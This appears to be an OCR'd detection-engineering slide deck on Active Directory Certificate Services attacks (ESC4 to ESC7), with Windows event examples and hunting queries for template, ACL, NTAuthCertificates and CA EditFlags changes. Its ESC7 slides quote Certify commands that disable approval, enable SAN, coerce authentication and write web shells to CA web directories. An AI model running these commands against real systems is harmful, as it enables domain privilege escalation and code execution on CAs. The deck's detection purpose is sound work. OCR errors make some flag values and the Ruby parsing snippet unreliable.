ADD_OCSP_NOCHECK' => 0x00001000,
ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL' => 0x00002000,
NOREVOCATIONINFOINISSUEDCERTS' => 0x00004000,
INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS' => 0x00008000,
ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT' => 0@x00010000,
ISSUANCE_POLICIES_FROM_REQUEST' => 0x00020000,
SKIP_AUTO_RENEWAL' => 0x00040000

[]
event.get('AttributeValue')

const.each_palr do |key, value|

if flags_

mask.to_i(base=10) & value != @

flags_list << key

end
end

event.set('AttributevValue_list', flags_list)"

Q)
&

3
(&

AttributelLDAPDisplayName /\ msPKI-Enrollment-Flag

AttributeSyntax0ID

A 2.5.5.9

http

O)
&/

AttributeValue

A\ 43

A\ 4

?)
&

AttributeValue_list
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CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS, CT_FLAG_PEND_ALL_REQUESTS, CT_FLAG_PUBLISH_TO_DS,
CT_FLAG_AUTO_ENROLLMENT
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Monitor certificate template modifications. Useful events

Use 4899 event to monitor the modifications of the critical templates attributes. Unfortunately, this event is not suitable for real-
time detection of modifications. 4899 is triggered once when the template is changed, and the first enrollment is occurred after
this modification. It is also worth noting that the already mentioned event 4898 is also triggered at the same time with 4899

id] Event Properties - Event 4899, Microsoft Windows security auditin

General Details

A Certificate Services template was updated.

ESC4 v100.30 (Schema V2)
1.3.6.1.4.1.311.21.8.3545524.,9779859.5064892.3279104.12974722.10(
CN=ESC4,CN=Certificate Templates, CN=Public Key

Services,CN=Services, CN=Configuration,DC=demo,DC=local

Template Change Information:
Old Template Content:
msPKI-Template-Minor-Revision = 28

pKlExtendedKeyUsage =
1.3.6.1.4.1.311.20.2.2 Smart Card Logen
1.3.6.1.4.1.311.10.3.4 Encrypting File System
1.3.6.1.5.5.7.3.2 Client Authentication

msPKI-Certificate-Application-Policy =
1.3.6.1.4.1.311.20.2.2 Smart Card Logeon
1.3.6.1.4.1.311.10.3.4 Encrypting File System
1.3.6.1.5.5.7.3.2 Client Authentication

New Template Content:
msPKI-Template-Minor-Revision = 30

pKlExtendedKeyUsage =

thgsi/enieftearningpretslicy =

id] Event Properties - Event 4899, Microsoft Windows security auditin

General Details

A Certificate Services template was updated.

ESC4 v100.22 (Schema V2)
1.3.6.1.4.1.311.21.8.3545524.9779859.5064892.3279104.12974722.100
CN=ESC4,CN=Certificate Templates, CN=Public Key
Services,CN=Services, CN=Configuration,DC=demo,DC=local

Template Change Information:
Old Template Content:
msPKI-Enrollment-Flag = 0x29 (41)
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- Ox1
CT_FLAG_PUBLISH_TO_DS -- 0x8
CT_FLAG_AUTO_ENROLLMENT -- 0x20 (32)

msPKI-Template-Minor-Revision = 21

New Template Content:
msPKI-Enrollment-Flag = 0x2b (43)
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- Ox1
CT_FLAG_PEND_ALL_REQUESTS -- 0x2
CT_FLAG_PUBLISH_TO_DS -- 0x8
CT_FLAG_AUTO_ENROLLMENT -- 0x20 (32)

msPKI-Template-Minor-Revision = 22

{4] Event Properties - Event 4899, Microsoft Windows security auditin

General Details

A Certificate Services template was updated.

WeakUser v100.9 (Schema V2)
1.3.6.1.4.1.311.21.8.3545524.9779859.5064892.3279104.12974722.100
CN=WeakUser,CN=Certificate Templates, CN=Public Key
Services,CN=Services,CN=Configuration,DC=demo,DC=local

Template Change Information:
Old Template Content:
msPKI-Certificate-Name-Flag = 0x1 (1)
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -- Ox1

msPKI-Enroliment-Flag = 0x9 (9)
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- 0x1
CT_FLAG_PUBLISH_TO_DS -- 0x8

msPKI-Template-Minor-Revision = 7

New Template Content:
msPKI-Certificate-Name-Flag = 0x2000000 (33554432)
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 0x2000000 (33554432)

msPKI-Enroliment-Flag = 0x29 (41)
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- Ox1
CT_FLAG_PUBLISH_TO_DS -- 0x8
CT_FLAG_AUTO_ENROLLMENT -- 0x20 (32)

msPKI-Template-Minor-Revision = 9




Allows requesters to specify a subjectAltName in the CSR
Let's hunt it!

Search for addition of the CT_FLAG_ENROLLEE _SUPPLIES SUBJECT flag to msPKI-Certificate-Name-Flag attribute (5136 events):

EventID:"5136" AND ObjectClass:"pKlCertificateTemplate” AND OperationType:"%%14674" AND AttributeLDAPDisplayName:"msPKI-
Certificate-Name-Flag" AND AttributeValue_list:"CT_FLAG_ENROLLEE SUPPLIES SUBJECT”

Time +

Channel EventID

May 14, 2022 @ 16:14:14.640 Security 5136

SubjectUserName OperationType
simpleuser %%14674
Value Added

ObjectDN AttributeLDAPDisplayName

AttributeValue AttributeValue_list

CN=ESC4,CN=Certificate msPKI-Certificate-Name-Flag 1 CT_FLAG_ENROLLEE_SUP

Templates,CN=Public Key
Services,CN=Services,CN
=Configuration, DC=demo,
DC=1local

PLIES_SUBJECT

Search for addition of the CT_FLAG_ENROLLEE SUPPLIES SUBJECT flag to msPKI-Certificate-Name-Flag attribute (4899/4900 events):

EventID:("4899" OR "4900") AND -OldTemplateContent:"CT_FLAG_ENROLLEE SUPPLIES SUBJECT" AND
NewTemplateContent:"CT_FLAG_ENROLLEE SUPPLIES SUBJECT"

>

Time +

May 14, 20622 @ 20:31:19.555
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Channel

Security

EventID

4899

TemplatelnternalName

ESC4

OldTemplateContent

msPKI-Certificate-Name-Flag = 9x2000000 (33554
432)

CT_FLAG_SUBJECT_ALT_REQUIRE_UPN -- 0x2000000
(33554432)

msPKI-Enrollment-Flaa = 6x2b (43)

NewTemplateContent

msPKI-Certificate-Name-Flag = 0x1 (1)

CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT -
- Bx1

msPKI-Enrollment-Flag = 0x9 (9)
CT FLAG INCLUDE SYMMETRIC ALGORITHM




Disabling manager approval for certificate issue
Let's hunt it!

Search for deletion of the CT_FLAG_PEND_ALL REQUESTS flag from msPKI-Enrollment-Flag attribute (5136 events):

EventID:"5136" AND ObjectClass:"pKlCertificateTemplate” AND OperationType:"%%14674" AND
AttributeLDAPDisplayName:"msPKI-Enrollment-Flag" AND -AttributeValue list:*CT_FLAG_PEND_ALL REQUESTS*

Time + Channel EventID SubjectUserName OperationType ObjectDN AttributeLDAPDisplayName AttributeValue AttributeValue_list
May 14, 2022 @ 16:14:14.640 Security 5136 simpleuser %%14674 CN=ESC4,CN=Certificat msPKI-Enrollment-Flag 9 CT_FLAG_INCLUDE_SYMMET
e Templates,CN=Public RIC_ALGORITHMS, CT_FLA
Value Added Key Services,CN=Servi G_PUBLISH_TO_DS
ces,CN=Configuration, There is no
DC=demo, DC=1ocal CT_FLAG_PEND_ALL_REQUESTS flag

Search for deletion of the CT_FLAG_PEND_ALL_REQUESTS flag from msPKI-Enrollment-Flag attribute (4899/4900 events):

EventID:("4899" OR "4900") AND OldTemplateContent:"CT_FLAG_PEND_ALL REQUESTS" AND -
NewTemplateContent:"CT_FLAG_PEND ALL REQUESTS"

Time + Channel EventID TemplatelnternalName OldTemplateContent NewTemplateContent
> May 14, 2022 @ 16:14:49.137 Security 4899 ESC4 There is no CT_FLAG_PEND_ALL_REQUESTS flag
msPKI-Enrollment-Flag = @xb (11) msPKI-Enrollment-Flag = 8x9 (9)
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS -- CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS --
ox1 ox1
CT_FLAG_PEND_ALL_REQUESTS -- 8x2 CT_FLAG_PUBLISH_TO_DS -- 0x8

CT_FLAG_PUBLISH_TO_DS -- ©x8
msPKI-Template-Minor-Revision = 9
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Setting dangerous EKUs
Let’'s hunt it (using 5136 event)!

Search for 5136 events, where AttributeLDAPDisplayName is pKIExtendedKeyUsage and AttributeValue field contains
dangerous EKUs (Any Purpose EKU or Certificate Request Agent EKU):

EventID:"5136" AND ObjectClass:"pKlCertificateTemplate” AND OperationType:"%%14674" AND
AttributeLDAPDisplayName:"pKIExtendedKeyUsage" AND AttributeValue:("2.5.29.37.0" OR "1.3.6.1.4.1.311.20.2.1")

Time + Channel EventID SubjectUserName OperationType ObjectDN AttributeLDAPDisplayName AttributeValue
May 14, 2022 @ 20:37:23.155 Security 5136 simpleuser %%14674 CN=ESC4,CN=Certificate Templates,CN=Public Ke pKIExtendedKeyUsage 1.3.6.1.4.1.311.2
y Services,CN=Services,CN=Configuration, DC=de 0.2.1
Value mo,DC=1local i
Added ey Certificate Request Agent
May 14, 2022 @ 20:35:03.171 Security 5136 simpleuser %%14674 CN=ESC4,CN=Certificate Templates,CN=Public Ke pKIExtendedKeyUsage I 2.5.29.37.90 I
y Services,CN=Services,CN=Configuration, DC=de
_ Any Purpose
mo, DC=local
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Setting dangerous EKUs
Let’s hunt it (using 4899 and 4900 events)!

Search for 4899/4900 events, where NewTemplateContent field contains dangerous EKUs (Any Purpose EKU or Certificate Request
Agent EKU) or no EKUs (SubCA Template):

EventID:("4899" OR "4900") AND ( (-OldTemplateContent:"1.3.6.1.4.1.311.20.2.1" AND NewTemplateContent:"1.3.6.1.4.1.311.20.2.1")
OR (-OldTemplateContent:"2.5.29.37.0" AND NewTemplateContent:"2.5.29.37.0") OR NewTemplateContent:"pKIExtendedKeyUsage =

msPKI-Certificate-Application-Policy")

Time + Channel EventID TemplatelnternalName OldTemplateContent NewTemplateContent
> May 14, 2022 @ 21:45:27.986 Security 4899 ESC4
msPKI-Template-Minor-Revision = 28 msPKI-Template-Minor-Revision = 30
pKIExtendedKeyUsage = pKIExtendedKeyUsage = SubCA (no EKUS)
1.3.6.1.4.1.311.206.2.2 Smart Card Logon

1.3.6.1.4.1.311.10.3.4 Encrypting File System msPKI-Certificate-Application-Policy =
1.3.6.1.5.5.7.3.2 Client Authentication

> May 14, 2022 @ 21:44:05.321 Security 4899 ESC4
msPKI-Template-Minor-Revision = 26 msPKI-Template-Minor-Revision = 27
pKIExtendedKeyUsage = pKIExtendedKeyUsage =
1.3.6.1.4.1.311.20.2.2 Smart Card Logon |1 .3.6.1.4.1.311.20.2.1 Certificate Request Agent |
1.3.6.1.4.1.311.10.3.4 Encrypting File System 1.3.6.1.4.1.311.20.2.2 Smart Card Logon
1.3.6.1.5.5.7.3.2 Client Authentication 1.3.6.1.4.1.311.10.3.4 Encrvptina File Svstem
> May 14, 2022 @ 21:42:08.618 Security 4899 ESC4
msPKI-Template-Minor-Revision = 24 msPKI-Template-Minor-Revision = 25
pKIExtendedKeyUsage = pKIExtendedKeyUsage =
1.3.6.1.4.1.311.20.2.2 Smart Card Logon |2.5.29.37.0 Any Purpose |
1.3.6.1.4.1.311.10.3.4 Encrypting File System 1.3.6.1.4.1.311.20.2.2 Smart Card Logon
S://t_me/learningnets 1.3.6.1.5.5.7.3.2 Client Authentication 1.3.6.1.4.1.311.10.3.4 Encrvptina File Svstem
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Template security descriptor modifications
Useful events

Use 4900/5136 events to monitor the modifications of the templates’ security descriptor:

i@ Event Properties - Event 4900, Microsoft Windows security auditing. id] Event Properties - Event 5136, Microsoft Windows security auditing.

General Details General Details
New Security Descriptor: 0:5-1-5-21-3970906361-1696223450-2713567039- Directory Service:
1104G:S-1-5-21-3970906361-1696223450-2713567039-519D:PAI(OA;;: CR:a05b8cc2-17bc-4802- Name: demo.local
a710-e7c15ab866a2::DU)(OA;:RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;:DA) Type:  Active Directory Domain Services
(OA;:RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79d c55;;DU) (OA:;:RPWPCR;:0e10c968- 78fb- -
11d2-90d4-00c04f79dc55;;S-1-5-21-3970906361-1696223450-2713567039-519) ject:
(OA;;CR;a05b8cc2-17bc-4802-3710-e7c15ab866a2;;AU) DN: [ CN=ESC1JcN=Certificate Templates,CN=Public Key
(A;;: CCDCLCSWRPWPDTLOSDRCWDWO;;; DA)(A:;: CCDCLCSWRPWPDTLOSDRCWDWO;;:S-1-5- Services, CN=Services, CN=Configuration,DC=demo,DC=local
21-3970906361-1696223450-2713567039-519)(A;:CCDCI CSWRPWPDTL OSDRCWDWO:;:S-1-5- GUID:  CN=ESC1,CN=Certificate Templates, CN=Public Key
21-3970906361-1696223450-2713567039-1104)f A;;:LCRPWPLORCWDWO;;;:AU) Services, CN=Services, CN=Configuration,DC=demo,DC=local
[Class:  pKICertificateTemplate |

Allow DEMO\Domain Users

Auto-Enroll Attribute:
Allow DEMO\Demain Admins LDAP Display Name: nTSecurityDescriptor |
Enroll| Syntax (OID):  2.5.5.15
Allow DEMO\Domain Users Value: 0:5-1-3-21-3970906361-1696223450-2713567039-1104G:S-1-5-21-
Enroll 3970906361-1696223450-2713567039-519D:PAI(OA;; CR;a05b8cc2-17bc-4802-a710-
Allow  DEMO\Enterprise Admins e7c15ab866a2;;DU)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DA)
Enroll (OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DU) (OA;;RPWPCR;0e10c968- 78fb-
Allow NT AUTHORITY\Authenticated Users 11d2-90d4-00c04f79dc55;;5-1-5-21-3970906361-1696223450-2713567039-519)
Auto-Enroll (OA;;CR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;AU)
Allow(0x000f00ff) DEMO\Domain Admins (A;; CCDCLCSWRPWPDTLOSDRCWDWO;;;DA)(A;; CCDCLCSWRPWPDTLOSDRCWDWO;;;S-1-5-
Full Control 21-3970906361-1696223450-2713567039-519) (A;: CCDCLCSWRPWPDTLOSDRCWDWO;;:S-1-5-
Allow(0x000f00ff) DEMO\Enterprise Admins 21-3970906361-1696223450-2713567039-1 104}’EA;;LC RPWPLORCWDWO;;;AU);:AI
Full Control (OU;CIIDSA;CC;e5209¢ca2-3bba-11d2-%90cc-00c04fd91ab1;:\WD)
Allow(0x000f00ff) DEMO\dadmin (AU; CIIDSA;SWWPSDWDWO;;;WD)
Full Control
Allow(0x000e00b4) NT AUTHORITY\Authenticated Users Operatign:
Write, Type:  Value Added
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ESC5 - Vulnerable PKI AD Object Access Control

Several objects outside of certificate templates and the
certificate authority itself can have a security impact on the
entire AD CS system:

* The CA server’s AD computer object
* The CA server’s RPC/DCOM server

* Any descendant AD object or container in the container
CN=Public Key Services, CN=Services, CN=Configuration,
DC=demo, DC=local (e.g., the Certificate Templates
container, Certification Authorities container, the
NTAuthCertificates object, the Enrollment Services
Container, etc...)

If a low-privileged attacker can gain control over any of
these, the attack can likely compromise the PKI system.

https://t.me/learningnets

2 ADSI Edit — O *
File Action View Help
e’ | rEE = HE
__1 CN=LostAndFoundCenfig # || Mame Class Distinguished Name
- EE:E’TD_S_ S T CN=AIA container CN=AlA CN=Public Key Service
gt 1 CN=CDP container  CN=CDP,CN=Public Key Servic
g i CN:Ser}:.vsilcc:s oeations ] CN=Certificate Templates container  CM=Certificate Templates, CN=
= -CN—AuthN Policy Configuration ] CN=Certification Authorities |container CN=Certification Authorities, Cl
5| CN=Claims Configuration ] CN=Enrollment Services container CM=Enrollment Services, CN=P
% CN=Group Key Distribution Servi [l CN=KRA container CMN=KRA CMN=Public Key Servic
] CN=Microsoft SPP [7] cN=0ID nsPKI-E.. CMN=0ID,CMN=Public Key Servic
] CN=MsmqServices =] CN=NTAuthCertificates certifica.. CM=NTAuthCertificates, CN=Py
[ CM=MetServices
v | CN=Public Key Services CM=Certification Authorities Properties ? X
[l CN=AIA
] CN=CDP Atribute Editor  Security
[ CM=Certificate Templates b
] CN=Certification Authorities ‘ - =
5 CN=Enoliment Services
| CN=KRA SR SYSTEM
= CN: oD SR Domain Admins (DEMO%Domain Admins)
O ?N—RR:'-\S SR Erterprise Admins {(DEMO"\Enterprise Admins)

7] CM=Shadow Principal Configura
[T CMN=Windows NT

e T Y P

>

W

Add... Remaove
>
Permissions for Authenticated Lsers Allow Derny

Full contral | O | I
Read Ll
Write O O
Create all child objects O |
Delete all child objects O | "
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Installing and rogue CA certificate. Useful events

* During authentication, the domain controller checks if NTAuthCertificates object contains an entry for the CA specified in
the authenticating certificate’s Issuer field.

« |Ifitis, authentication proceeds. If the certificate is not in the NTAuthCertificates object, authentication fails.
* An alternative path to forgery is to generate a self-signed CA certificate and add it to the NTAuthCertificates object.

Attackers can do this if they have control over the NTAuthCertificates AD object.

Manage AD Containers X —NTAuthCertificates
Certification Authorities Container ﬂ Enrollment Services Container ﬂ ; = :
NTAuthCerificates ﬂ AlA Container ﬂ CDP Container ﬂ KRA Container ﬂ Aftribute Editor  Security
Name | Status | Aftributes:
demo-CA oK ; ~
ke lfakeca Partial Chain : Attribute Value
adminDescription <not set>
adminDisplayName <not set>
authorityRevocationList
cACertificate \30\82\05\58\30\S2\04\40NADNONO2NO TN
Multi-valued Octet String Editor X
Attribute: cACertificate
Values:
\30\S2\03\SG\3NS2\02\A TNACNONO2AD 1N\O2\02\ Add
'bl- \30\82\05\58\30\82\ 04 \40NACNONO2ND TNO2N02Y _I
Add... | Remove i Remove
Edit
https://t.me/learningnets o i §
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Installing and rogue CA certificate. Useful events

Detect rogue CA certificate installation by auditing NTAuthCertificates
object attributes modifications

Owner:

CN=NTAuthCertificates

Domain Admins (DEMO\Demain Admins) Change

Permissions Auditing Effective Access

certification... CN=NTAuthCertificates,CN= F“

For additional information, double-click an audit entry. To medify an audit entry, select the entry and click Edit (if availablg

Auditin

Tyy
52 Su

Auditing Entry for NTAuthCertificates

Principal:  Everyone Select a principal

Type: Success
Permissions:
[CJFull control
[JList contents

[JRead all properties
Write all properties
Delete

[]Read permissions
Modify permissions

Modify owner

All validated writes

https://t.me/learningnets

id] Event Properties - Event 5136, Microsoft Windows security auditing.

General Details

A directory service object was modified.

Subject:
Security ID: DEMO\simpleuser
Account Name: simpleuser
Account Domain: DEMO
Logon ID: OxE1F2CF

Directory Service:
Name: demo.local
Type:  Active Directory Domain Services

Object:

DN: | CN=NTAuthCertificates|CN=Public Key
Services,CN=Services,CN= Conf-iguration,DC= demo,DC=local
GUID:  CN=NTAuthCertificates, CN=Public Key
Services, CN=Services, CN=Configuration,DC=demo,DC=local
Class:  certificationAuthority

Attribute:
LDAP Display Name: cACertificate
Syntax (OID): 2.2.5.10

Value: <Binary>

Operation:
[Type:  Value Added
Correlation ID:  {3ffb1354-f7b4-4ed2-accd-680efcb4ebbl}

Application Correlation ID: -
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Installing and rogue CA certificate. Let’'s hunt it!

Search for modifications of the NTAuthCertificates object attributes:

EventID:5136 AND ObjectDN:"CN=NTAuthCertificates, CN=Public Key Services,CN=Services,CN=Configuration" AND

OperationType:"%%14674"

Time « Channel EventID

> May 15, 2022 @ 12:02:35.253 Security 5136

> May 15, 2022 @ 11:43:44.724 Security 5136

SubjectUserName

simpleuser

Value
Added

simpleuser

OperationType

%%14674

%%14674

ObjectDN

CN=NTAuthCertifica
tes,CN=Public Key
Services,CN=Servic
es,CN=Configuratio
n,DC=demo, DC=1local

CN=NTAuthCertifica
tes,CN=Public Key
Services,CN=Servic
es,CN=Configuratio
n,DC=demo, DC=1local

AttributeLDAPDisplayName

nTSecurityDescriptor

cACertificate

AttributeValue

0:DAG:DAD:AI(A; ;LCSWRPWPRC ; ; ;DU) (A;CI;CCDC
LCSWRPWPDTLOCRSDRCWDWO; ; ;DA) (A;CI ;CCDCLCSW
RPWPDTLOCRSDRCWDWO ; ; ;S-1-5-21-3970906361-1
696223450-2713567639-519) (A;CI ; CCDCLCSWRPW
PDTLOCRSDRCWDWO; ; ;BA) (A; ; SWRPWP; ; ;AU) (A;C

I;LCRPLORC; ; ;WD) (A;CIID;CCDCLCSWRPWPDTLOCR
SDRCWDWO : : :S-1-5-21-3970906361-1696223450-

%%14672 <Binary>

The same approach (auditing modifications of the critical objects attributes, using 5136 event) can be used for any other

PKI AD Obiject:

» Certificate Templates Container
e Certification Authorities
* Enrollment Services Container

* KRA (Key Recovery Agents) Container

https:7/t. rgg Pegr?*ma Hbefg

The CA server’s RPC/DCOM server
The CA server’s AD computer object
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ESC6 — CA has the EDITF_ATTRIBUTESUBJECTALTNAME?
fFlag set

* If EDITF_ATTRIBUTESUBJECTALTNAME2 flag is enabled e

c:\Tools>.\Certify.exe find

on an enterprise CA, alternative names are allowed for
any certificate templates, regardless of templates'
restrictions itself;

* Microsoft strongly not to enable this flag on an
Enterpnse CA; [*] Action: Find certificate templates

[*] Using the search base 'CN=Configuration,DC=demo,DC=1local’

e This misconfiguration can be abused by adversary for |EEEESEE R R

1 1 1Fi 1 1 Enterprise CA Name : demo-CA
issuing the certificate with an alternative name that Entoroglcat e L
. . . FullName : CA.demo.local\demo-CA

would allow them to |mper50nate another user (Ilke N Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=demo-CA, DC=demo, DC=local

case Of ESC]_) Cert Thumbprint : D92A9A521B6BEOS7DDDA431C2D2FC8DDA1E796BD
Cert Serial : 608BOE28FSFE42A04B25B461E7CA607

— Cert Start Date : 5/6/2022 9:51:37 AM

B cmd - b X Cert End Date : 5/6/2027 10:01:36 AM

Cert Chain : _CN=demo-CA,DC=demo,.DC=1ocal
[!] UserSpecifiedSAN : EDITF_ATTRIBUTESUBJECTALTNAME2 set, lenrollees can specify Subject Altern
ative Names!
CA Permissions 3
Owner: BUILTIN\Administrators

c:\Tools>certutil -config "caldemo-ca" -getreg "policy\EditFlags"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\demo-CA\PolicyModules
\CertificateAuthority MicrosoftDefault.Policy\EditFlags:

EditFlags REG_DWORD = 3673742 (57096002)
EDITF_REQUESTEXTENSIONLIST -- 2
EDITF_BASICCONSTRAINTSCRITICAL -- 40 (64)
EDITF_ENABLEAKIKEYID -- 100 (256)
EDITF_ATTRIBUTECA -- 200 (512)
EDITF_IGNOREREQUESTERGROUP -- 400 (1024)
EDITF_ENABLEAKIISSUERSERIAL -- 1000 (4096)
EDITF_ENABLEAKICRITICAL -- 2000 (8192)
EDITF_ENABLEDEFAULTSMIME -- 10000 (65536)

EDITF EMAILOPTIONAL -- 20000 (131072)
EDITF_ATTRIBUTESUBJECTALTNAME2 -- 40000 (262144)
EDITF_AUDITCERTTEMPLATELOAD -- 200000 (2097152)
EDITF_DISABLEOLDOSCNUPN -- 400000 (4194304)
EDITF_ENABLEUPNMAP -- 1000000 (16777216)




ESC6 Let's hunt it!

Search for attempts to get list of enabled EditFlags:

CommandLine:(*reg* OR *powershell* OR *certutil*) AND (CommandLine:*EditFlags* OR
CommandlLine:("*\\Services\\CertSvc\\Configuration\\*" AND "*\\PolicyModules\\*") )

Time «

> May 15, 2022 @ 13:47:43.997

> May 15, 2022 @ 13:47:43.997

> May 15, 2022 @ 13:47:26.880

> May 15, 2022 @ 13:47:26.880

Channel

Security

Microsoft-Windows
-Sysmon/Operation
al

Microsoft-Windows
-Sysmon/Operation
al

Security

EventID

4688

4688

Category

Process Creation

Process Create (rul
e: ProcessCreate)

Process Create (rul
e: ProcessCreate)

Process Creation

CommandLine

certutil -config "CA\DEMO-CA" -getreg policy\\EditFlags

certutil -config "CA\DEMO-CA" -getreg policy\\EditFlags

reg query \\ca\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic
es\CertSvc\Configuration\demo-CA\PolicyModules\CertificateAuthorit
y_MicrosoftDefault.Policy /v EditFlags

reg query \\ca\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Servic
es\CertSvc\Configuration\demo-CA\PolicyModules\CertificateAuthorit
y_MicrosoftDefault.Policy /v EditFlags

User

DEMO\simp
leuser

DEMO\simp
leuser

https://t.me/learningnets
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ESC7 —Vulnerable Certificate Authority Access Control

Certification authority itself has permissions that secure various CA
actions;

From the security perspective it is necessary to care about the Manage

CA (aka “CA Administrator”) and Manage Certificates (aka “Certificate
Officer”) permissions;

If an attacker gains control over a principal that has the Manage CA right
over the CA, he can remotely change CA configuration, includes flipping
the EDITF_ATTRIBUTESUBJECTALTNAME?2 to allow SAN specification in any
template and thereby making them vulnerable to the ESC6 technique;

If an attacker gains control over a principal that has the Manage
Certificates right over the CA, he can remotely approve pending

certificate requests, subvertnig the "CA certificate manager approval"
protection.

B Registry Editor
File Edit View Favorites Help
v | CertSve A || Name Type Data
gorr;flguratlon iab| (Default) REG_SZ (value not set)
i i $4)Security  REG_BINARY 0100 14 80 40 01 00 00 4c
- Security
rhtdicr el 5
< >
https://t EIRAFAAEN et CAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Security

demo-CA Properties ? X
General Policy Module Exit Module
Extensions Storage Cerificate Managers
Enrollment Agents Auditing Recovery Agents Security

Group or user names:
$% Everyone
52 Domain Admins (DEMQO\Domain Admins)
S2 Domain Users (DEMO“\Domain Users)
Q Entemprise Admins (DEMO\Enterprise Admins)
S8 Administrators (CA\Administrators)
Add... Remove
Pemissions for Domain Users Allow Deny
Read [l
Issue and Manage Cerfficates ] ]
Manage CA ]
Request Certificates L]
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Weaponizing the ESC7 attack

Table of Contents

o Introductionto AD CS ESC7Y
« ESC7 Attack details

« Certihicate Approva

« ESC7 Attack execution

o Conclusion

AD CS: weaponizing the ESC7 attack

26 - Jan - 2022 - Kurosh Dabbagh
Introductionto AD CS ESC7

Last year, SpecterOps published an in-depth research about the security state in
Active Directory Certificate Services (AD CS) that is still @ common tepic of debate
around the community. The technical paper, layouts different attacks around mis-
configurations in these services that can lead to privilege escalation oract as a
persistence mechanism.

At the same time, different tools were released around this topic, some to expleit
these weaknesses (Certify yForgeCert) and cthers to audit an AD CS environment
looking for potential misconfigurations (PSPKlAudit).

% blackarrowsec / Certify  Public
forked from GhostPack/Certify

<> Code 0 wiki

§9 Pullrequests () Actions [ Projects

IFlip the EDITF_ATTRIBUTESUBJECTALTNAME2 bit to allow SAN specification in any template:l

Certify.exe setconfig /ca:SERVER\ca-name /enablesan [/removeapprovall [/restart]

IRemove the mandatory approval at the time of requesting a new certificate: I

Certify.exe setconfig /ca:SERVER\ca-name /removeapproval [/enablesan] [/restart]

I Coerce the CA server to perform an authentication attempt to a remote host: I

Table of Contents

¢ Intreduction

e Abusing CRL Distribution Points (CDP)

e Coercing remote authentication

¢ Code execution via webshell deployment
¢ Detection

e Conclusion

AD CS: from ManageCA to RCE

14 - Feb - 2022 - Pablo Martinez, Kurosh Dabbagh

Introduction

In our previous article, we covered an engagement where it was necessary to exe-
cute the ESC7 attack to escalate privileges by abusing the Active Directory
Certificate Services (AD CS). During this Red Team exercise, a detailed research was
conducted and it resulted in the publication of several modules for Certify, which al-
low the abuse of the ManageCA and ManageCertificates permissions as suggested
in the original paper.

Since the article was published, we have continued with this research, which has led
us to discover two new ways to compromise the CA server (Certificate Authority) it-
self by abusing the ManageCA privilege. These attacks could be useful in different

scenarios:

Certify.exe coerceauth /ca:SERVER\ca-name /target:Target

IGet the current CDP list. Useful to find remote writable shares: I

Certify.exe writefile /ca:SERVER\ca-name /readonly

IWrite an aspx shell to a local web directory: I

Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell
Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

Write a php shell to a remote web directory:

Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:

.d

https://t.me/learningnets
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ESC7 — Abuse Manage CA right to remotely enable the
EDITIF_ATTRIBUTESUBJECTNAME?2. Useful events

C:\Windows\system32\cmd.exe = O X

C:\Temp>certutil -config "CA\DEMO-CA" -getreg policy\\EditFlags

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\
demo-CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy:

EditFlags REG_DWORD = 3433742 (54736706)
EDITF_REQUESTEXTENSIONLIST -- 2
EDITF_BASICCONSTRAINTSCRITICAL -- 40 (64)
EDITF_ENABLEAKIKEYID -- 100 (256)
EDITF_ATTRIBUTECA -- 200 (512)
EDITF_IGNOREREQUESTERGROUP -- 4060 (10624)
EDITF_ENABLEAKIISSUERSERIAL -- 1000 (4096)
EDITF_ENABLEAKICRITICAL -- 2000 (8192)
EDITF_ENABLEDEFAULTSMIME -- 10000 (65536)
EDITF_EMAILOPTIONAL -- 20000 (131072)
EDITF_DISABLEOLDOSCNUPN -- 400000 (41943064)
EDITF_ENABLEUPNMAP -- 1000000 (16777216)
EDITF_ENABLEOCSPREVNOCHECK -- 2000000 (33554432)

CertUtil: -getreg command completed successfully.

C:\Temp>CertifyBlackarrow.exe setconfig /ca:cal\demo-ca /enablesan /restart

Action: Modify the CA persistent settings.
Certificate Authority : ca\demo-ca
EDITF_ATTRIBUTESUBJECTALTNAME2 enabled!

] CortSve service restarved.

id] Event Properties - Event 13, Sysmon

General Details

Registry value set:
RuleName: Certificate Authority

EventType: SetValue

UtcTime: 2022-05-15 14:55:35.210

ProcessGuid: {55a1a30f-128b-6281-f609-000000000f00}

Processld: 32

Image: C:\Windows\system32\certsrv.exe

TargetObject: HKLM\System\CurrentControlSet\Services\CertSvc\Configuration\demo-CA
\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags

Details: DWORD (0x03473742)

Event Properties - Event 4891, Microsoft Windows security auditing.

General Details

| configuration entry changed in Certificate Services.

Node: PolicyModules\CertificateAuthority_MicrosoftDefault.Policy

Entry:  EditFlags <Data Name="SubjectUserSid">S-1-5-21-3970906361-
